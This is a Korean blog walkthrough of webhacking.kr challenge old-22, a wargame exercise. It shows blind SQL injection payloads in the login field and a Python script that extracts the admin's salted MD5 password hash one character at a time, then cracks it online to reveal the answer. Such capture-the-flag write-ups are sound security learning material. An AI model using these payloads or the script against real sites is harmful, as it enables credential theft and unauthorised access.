프로젝트/Webhacking.kr

[Webhacking.kr] Challenge(old) 22번 문제

Uggjjini 2021. 7. 13. 11:41

문제 페이지는 해당 페이지와 같다.

 

 

id와 password 입력창과 login, join 버튼이 존재한다.

 

해당 페이지에 적혀있는 문구를 보면 admin으로 로그인 하면 문제가 풀린다는 것을 알 수 있다.

 

먼저 join 버튼을 눌러 username: guest / password : guest 로 가입한다.

 

 

메인 페이지로 이동하여 guest로 로그인한다.

 

 

 

패스워드의 해시값이 나오는 것이 확인된다.

 

문자열이 32비트인 것으로 보아 md5로 암호화 된 듯하여 md5 복호화를 해주는 사이트로 이동하여 복호화 시킨다.

 

https://www.md5online.org/md5-decrypt.html

 

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

 

www.md5online.org

 

 

guestapple 로 복호화가 된 것이 확인되었는데 이는, apple이 salt 값으로 추가되어 암호화 되었기 때문이다.

 

다른 경우에도 salt 가 apple 인지 확인하기 위해 username : test / password : test 로 가입하여 로그인 한다.

 

 

 

 

 

test 로 로그인하여 패스워드의 해시값을 알아낸 후 md5 복호화 사이트에서 복호화 한다.

 

 

test의 패스워드도 salt 값으로 apple이 추가되어 암호화 된 것을 확인 할 수 있었다.

 

SQL 인젝션을 사용하여 admin의 password 의 해시값을 알아내어 복호화한 후 apple를 제외한 값으로 로그인 하면 문제가 풀릴 것 같다.

 

Blind SQL injection 공격이 가능한지 확인하기 위하여 username 입력창에 항상 참이되는 구문과 거짓이 되는 구문을 넣어 확인한다.

 

로그인 시 해당 계정정보가 맞는지 확인할 때 where username='A' and password='B' 로 검색한다.

 

username 입력창에 admin' or '1'='1 # 를 입력하여 where username='admin' or '1'='1' # and password='B' 가 되어 password 부분은 주석처리되고 username 부분으로 항상 참이 되는 구문을 검색하도록 만든다.

 

 

 

항상 참인 구문을 입력한 경우 Wrong password! 라는 구문이 출력되는 것을 확인 할 수 있다.

 

같은 방법으로 username 입력창에 admin' and '1'='2 # 를 입력하여 항상 거짓인 구문을 검색하도록 만든다.

 

 

 

항상 거짓인 구문을 입력한 경우 Login Fail! 이라는 문구가 출력되는 것을 확인 할 수 있다.

 

참과 거짓인 구문을 입력한 경우 결과가 다른 것으로 보아 Blind SQL injection 공격이 가능하다는 것을 알 수 있다.

 

메인 페이지의 소스 코드를 확인하여 입력 폼들의 name 을 확인한다.

 

 

입력 폼들의 name이 uuid 와 pw 인 것을 확인하였다.

 

이를 사용하여 python 프로그램을 만들어 sql injection 공격을 실행한다.

 

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'

# password length 구하기

data={}
pw_len=1
while True:
    data['uuid']="admin' and length(pw)={}#".format(pw_len)
    data['pw']=None
    response=requests.post(url, data=data)
    if "Wrong" in response.text:
        break
    pw_len+=1

print(pw_len)


# password 한 자리씩 구하기

password=""
for i in range(1, pw_len+1):
    for j in range (128):
        data['uuid']="admin' and ascii(substr(pw, {}, 1))={}#".format(i, j)
        data['pw']=None
        response=requests.post(url, data=data)
        if "Wrong" in response.text:
            password+=chr(j)
            break
print(password)

 

해당 프로그램을 실행한 경우 admin의 암호화된 패스워드가 나온다.

 

 

해당 해시값을 md5 복호화 사이트를 통해 복호화를 시켜준다.

 

 

salt 값인 apple를 제외한 wow 를 이용하여 admin 사용자로 로그인 하면 문제가 풀리는 것을 확인할 수 있다.